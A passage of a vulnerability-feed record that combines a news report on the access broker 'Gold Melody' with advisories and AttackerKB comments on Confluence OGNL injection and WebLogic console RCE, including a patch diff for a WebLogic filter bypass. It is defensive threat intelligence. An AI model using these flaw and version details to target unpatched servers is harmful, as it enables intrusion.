)\n\nGold Melody has been [previously](<https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/>) [linked](<https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/>) to [attacks](<https://www.mandiant.com/resources/blog/mobileiron-log4shell-exploitation>) exploiting security flaws in JBoss Messaging (CVE-2017-7504), Citrix ADC (CVE-2019-19781), Oracle WebLogic (CVE-2020-14750 and CVE-2020-14882), GitLab (CVE-2021-22205), Citrix ShareFile Storage Zones Controller (CVE-2021-22941), Atlassian Confluence (CVE-2021-26084), ForgeRock AM (CVE-2021-35464), and Apache Log4j (CVE-2021-44228) servers.\n\nThe cybercrime group has been observed expanding its victimology footprint to strike retail, health care, energy, financial transactions, and high-tech organizations in North America, Northern Europe, and Western Asia as of mid-2020.\n\nMandiant, in an analysis published in March 2023, said that \"in multiple instances, UNC961 intrusion activity has preceded the deployment of Maze and Egregor ransomware from distinct follow-on actors.\"\n\nIt further [described](<https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated>) the group as \"resourceful in their opportunistic angle to initial access operations\" and noted it \"employs a cost-effective approach to achieve initial access by exploiting recently disclosed vulnerabilities using publicly available exploit code.\"\n\nBesides relying on a diverse arsenal comprising web shells, built-in operating system software, and publicly available utilities, it's known to employ proprietary remote access trojans (RATs) and tunneling tools such as GOTROJ (aka MUTEPUT), BARNWORK, HOLEDOOR, DARKDOOR, AUDITUNNEL, HOLEPUNCH, LIGHTBUNNY, and HOLERUN to execute arbitrary commands, gather system information, and establish a reverse tunnel with a hard-coded IP address.\n\nSecureworks, which linked Gold Melody to five intrusions between July 2020 and July 2022, said these attacks entailed the abuse of a different set of flaws, including those impacting Oracle E-Business Suite ([CVE-2016-0545](<https://nvd.nist.gov/vuln/detail/CVE-2016-0545>)), Apache Struts ([CVE-2017-5638](<https://www.synopsys.com/blogs/software-security/cve-2017-5638-apache-struts-vulnerability-explained.html>)), Sitecore XP ([CVE-2021-42237](<https://blog.assetnote.io/2021/11/02/sitecore-rce/>)), and Flexera FlexNet ([CVE-2021-4104](<https://thehackernews.com/2021/12/new-local-attack-vector-expands-attack.html>)) to obtain initial access.\n\nUPCOMING WEBINAR\n\n[Level-Up SaaS Security: A Comprehensive Guide to ITDR and SSPM\n\n](<https://thehacker.news/itdr-saas?source=inside>)\n\nStay ahead with actionable insights on how ITDR identifies and mitigates threats. Learn about the indispensable role of SSPM in ensuring your identity remains unbreachable.\n\n[Supercharge Your Skills](<https://thehacker.news/itdr-saas?source=inside>)\n\nA successful foothold is succeeded by the deployment of web shells for persistence, followed by creating directories in the compromised host to stage the tools used in the infection chain.\n\n\"Gold Melody conducts a considerable amount of scanning to understand a victim's environment,\" the company said. \"Scanning begins shortly after gaining access but is repeated and continued throughout the intrusion.\"\n\nThe reconnaissance phase paves the way for credential harvesting, lateral movement, and data exfiltration. That said, all five attacks ultimately proved to be unsuccessful.\n\n\"Gold Melody acts as a financially motivated IAB, selling access to other threat actors,\" the company concluded. \"The buyers subsequently monetize the access, likely through extortion via ransomware deployment.\"\n\n\"Its reliance on exploiting vulnerabilities in unpatched internet-facing servers for access reinforces the importance of robust patch management.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-09-21T09:11:00", "type": "thn", "title": "Cyber Group 'Gold Melody' Selling Compromised Access to Ransomware Attackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-0545", "CVE-2017-5638", "CVE-2017-7504", "CVE-2019-19781", "CVE-2020-14750", "CVE-2020-14882", "CVE-2021-22205", "CVE-2021-22941", "CVE-2021-26084", "CVE-2021-35464", "CVE-2021-4104", "CVE-2021-42237", "CVE-2021-44228"], "modified": "2023-09-21T09:11:14", "id": "THN:3E5F28AD1BE3C9B2442EA318E6E13E5C", "href": "https://thehackernews.com/2023/09/cyber-group-gold-melody-selling.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-06-15T11:30:00", "description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if \u2018Allow people to sign up to create their account\u2019 is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 02, 2021 1:27am UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis>). Thank you to [Jang (**@testanull**)](<https://twitter.com/testanull>) for being a great collaborator. :)\n\n**NinjaOperator** at September 01, 2021 5:38pm UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis>). Thank you to [Jang (**@testanull**)](<https://twitter.com/testanull>) for being a great collaborator. :)\n\n**GhostlaX** at September 04, 2021 1:44am UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis>). Thank you to [Jang (**@testanull**)](<https://twitter.com/testanull>) for being a great collaborator. :)\n\n**Cherylyin** at September 03, 2021 2:03am UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis>). Thank you to [Jang (**@testanull**)](<https://twitter.com/testanull>) for being a great collaborator. :)\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-26084 Confluence Server OGNL injection", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-04T00:00:00", "id": "AKB:83332F26-A0EE-40BA-B796-8EE84ED704BC", "href": "https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-23T03:28:37", "description": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-21T00:00:00", "type": "attackerkb", "title": "CVE-2020-14883 \u2014 Authenticated RCE in Console component of Oracle WebLogic Server", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-14883", "CVE-2021-26084"], "modified": "2020-10-29T00:00:00", "id": "AKB:C91B7584-3733-4651-9EC0-BF456C971127", "href": "https://attackerkb.com/topics/XrIT8vLY22/cve-2020-14883-authenticated-rce-in-console-component-of-oracle-weblogic-server", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-08-31T20:37:26", "description": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\n \n**Recent assessments:** \n \n**wvu-r7** at November 02, 2020 10:26pm UTC reported:\n\nCVE-2020-14750 appears to be the patch bypass for [CVE-2020-14882](<https://attackerkb.com/topics/sb4F8UT5zu/cve-2020-14882-unauthenticated-rce-in-console-component-of-oracle-weblogic-server>). Please see CVE-2020-14882\u2019s [Rapid7 analysis](<https://attackerkb.com/topics/sb4F8UT5zu/cve-2020-14882-unauthenticated-rce-in-console-component-of-oracle-weblogic-server#rapid7-analysis>) for more information. The CVE-2020-14750 patch is reproduced below.\n \n \n --- patched1/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java\t2020-11-02 13:13:28.000000000 -0600\n +++ patched2/com/bea/console/utils/MBeanUtilsInitSingleFileServlet.java\t2020-11-02 12:11:01.000000000 -0600\n @@ -2,6 +2,7 @@\n \n import com.bea.netuix.servlets.manager.SingleFileServlet;\n import java.io.IOException;\n +import java.util.List;\n import javax.servlet.ServletConfig;\n import javax.servlet.ServletException;\n import javax.servlet.ServletRequest;\n @@ -20,8 +21,6 @@\n \n private static final long serialVersionUID = 1L;\n \n - private static final String[] IllegalUrl = new String[] { \";\", \"%252E%252E\", \"%2E%2E\", \"..\", \"%3C\", \"%3E\", \"<\", \">\" };\n - \n public static void initMBean() {\n MBeanUtilsInitializer.initMBeanAsynchronously();\n }\n @@ -39,8 +38,9 @@\n if (req instanceof HttpServletRequest) {\n HttpServletRequest httpServletRequest = (HttpServletRequest)req;\n String url = httpServletRequest.getRequestURI();\n - for (int i = 0; i < IllegalUrl.length; i++) {\n - if (url.contains(IllegalUrl[i])) {\n + if (!ConsoleUtils.isUserAuthenticated(httpServletRequest))\n + throw new ServletException(\"User not authenticated.\"); \n + if (!isValidUrl(url, httpServletRequest)) {\n if (resp instanceof HttpServletResponse) {\n LOG.error(\"Invalid request URL detected. \");\n HttpServletResponse httpServletResponse = (HttpServletResponse)resp;\n @@ -49,7 +49,6 @@\n return;\n } \n } \n - } \n try {\n super.service(req, resp);\n } catch (IllegalStateException e) {\n @@ -60,4 +59,15 @@\n LOG.debug(e); \n } \n }\n + \n + private boolean isValidUrl(String url, HttpServletRequest req) {\n + String consoleContextPath = ConsoleUtils.getConsoleContextPath();\n + List<String> portalList = ConsoleUtils.getConsolePortalList();\n + for (String portal : portalList) {\n + String tmp = \"/\" + consoleContextPath + portal;\n + if (url.equals(tmp))\n + return true; \n + } \n + return false;\n + }\n }\n \n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-02T00:00:00", "type": "attackerkb", "title": "CVE-2020-14750 \u2014 Oracle WebLogic Remote Unauthenticated Remote Code Execution (RCE) Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-14750", "CVE-2020-14882", "CVE-2021-26084"], "modified": "2020-11-19T00:00:00", "id": "AKB:E7B3F106-3C35-4783-8A6A-BB887C64A40D", "href": "https://attackerkb.com/topics/mzyS1rMcZc/cve-2020-14750-oracle-weblogic-remote-unauthenticated-remote-code-execution-rce-vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-11T23:29:38", "description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.\n\n \n**Recent assessments:** \n \n**noraj** at April 15, 2023 7:34pm UTC reported:\n\nIt\u2019s easy to weaponize, even manually but there are dozens of exploits available. There is a [TryHackMe room](<https://tryhackme.com/room/cve202226134>) about CVE-2022-26134 to practice in a lab environment.\n\n**jbaines-r7** at June 03, 2022 7:21pm UTC reported:\n\nIt\u2019s easy to weaponize, even manually but there are dozens of exploits available. There is a [TryHackMe room](<https://tryhackme.com/room/cve202226134>) about CVE-2022-26134 to practice in a lab environment.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-13T00:00:00", "type": "attackerkb", "title": "CVE-2022-26134", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084", "CVE-2022-26134", "CVE-2022-26314"], "modified": "2022-07-13T00:00:00", "id": "AKB:812ED357-C31F-4733-AFDA-96FACDD8A486", "href": "https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-07-09T17:26:10", "description": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\n \n**Recent assessments:** \n \n**elligottmc** at October 29, 2020 2:27pm UTC reported:\n\nAdjusting the attacker value and exploitability scores to reflect the data and assessment already provided by **@lvarela-r7** in this topic.\n\n<https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/> \n<https://twitter.com/jas502n/status/1321416053050667009>\n\n**ccondon-r7** at November 01, 2020 4:19pm UTC reported:\n\nAdjusting the attacker value and exploitability scores to reflect the data and assessment already provided by **@lvarela-r7** in this topic.\n\n<https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/> \n<https://twitter.com/jas502n/status/1321416053050667009>\n\n**lvarela-r7** at October 29, 2020 12:41pm UTC reported:\n\nAdjusting the attacker value and exploitability scores to reflect the data and assessment already provided by **@lvarela-r7** in this topic.\n\n<https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/> \n<https://twitter.com/jas502n/status/1321416053050667009>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-21T00:00:00", "type": "attackerkb", "title": "CVE-2020-14882 \u2014 Unauthenticated RCE in Console component of Oracle WebLogic Server", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-14750", "CVE-2020-14882", "CVE-2020-2555", "CVE-2021-26084"], "modified": "2020-12-28T00:00:00", "id": "AKB:2941EA77-EC87-4EFE-8B5C-AD997AEB5502", "href": "https://attackerkb.com/topics/sb4F8UT5zu/cve-2020-14882-unauthenticated-rce-in-console-component-of-oracle-weblogic-server", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-11-26T18:09:54", "description": "On August 25, 2021, Atlassian released security updates to address a remote code execution vulnerability (CVE-2021-26084) affecting Confluence Server and Data Center. Recently, CVE-2021-26084 has been detected in exploits in the wild. A remote attacker could exploit this vulnerability to take control of an affected system.\n\nCISA urges users and administrators to review [Atlassian Security Advisory 2021-08-25](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) and immediately apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/09/03/atlassian-releases-security-updates-confluence-server-and-data>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-03T00:00:00", "type": "cisa", "title": "Atlassian Releases Security Updates for Confluence Server and Data Center", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-03T00:00:00", "id": "CISA:D7188D434879621A3A83E708590EAE42", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/09/03/atlassian-releases-security-updates-confluence-server-and-data", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:29:45", "description": "A remote code execution vulnerability exists in Atlassian Confluence. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-05T00:00:00", "type": "checkpoint_advisories", "title": "Atlassian Confluence Remote Code Execution (CVE-2021-26084)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-02-09T00:00:00", "id": "CPAI-2021-0548", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "atlassian": [{"lastseen": "2021-11-26T18:44:44", "description": "*This vulnerability is being actively exploited in the wild. Affected servers should be patched immediately.*\r\n\r\nAn OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.\r\n\r\nThe CVE ID is CVE-2021-26084.\r\nh4. Acknowledgements\r\n\r\nThe issue was discovered by Benny Jacob (SnowyOwl) via the Atlassian public bug bounty program.\r\n\r\nThe affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\r\n\r\n*Affected versions:*\r\n * version < 6.13.23\r\n * 6.14.0 \u2264 version < 7.4.11\r\n * 7.5.0 \u2264 version < 7.11.5\r\n * 7.12.0 \u2264 version < 7.12.5\r\n\r\n*Fixed versions:*\r\n * 6.13.23\r\n * 7.4.11\r\n * 7.11.6\r\n * 7.12.5\r\n * 7.13.0 \u00a0\r\n\r\n\u00a0", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-27T05:13:48", "type": "atlassian", "title": "Confluence Server Webwork OGNL injection - CVE-2021-26084", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-11-22T01:29:22", "id": "ATLASSIAN:CONFSERVER-67940", "href": "https://jira.atlassian.com/browse/CONFSERVER-67940", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T15:08:11", "description": "A user with a valid account on a Confluence Server or Data Center instance is able to execute arbitrary Java code or run arbitrary system commands by injecting an OGNL payload.\r\n\r\n\u00a0\r\n\r\nThe affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\r\n\r\n*Affected versions:*\r\n\r\n\u00a0* version < 6.13.23\r\n\u00a0* 6.14.0 \u2264 version < 7.4.11\r\n\u00a0* 7.5.0 \u2264 version < 7.11.6\r\n\u00a0* 7.12.0 \u2264 version < 7.12.5\r\n\r\n*Fixed versions:*\r\n\r\n\u00a0* 6.13.23\r\n\u00a0* 7.4.11\r\n\u00a0* 7.11.6\r\n\u00a0* 7.12.5\r\n\u00a0* 7.13.0", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-27T03:55:57", "type": "atlassian", "title": "RCE on Confluence Data Center via OGNL Injection - CVE-2021-39114", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-39114"], "modified": "2022-06-01T02:34:36", "id": "CONFSERVER-68844", "href": "https://jira.atlassian.com/browse/CONFSERVER-68844", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-28T19:54:06", "description": "*This 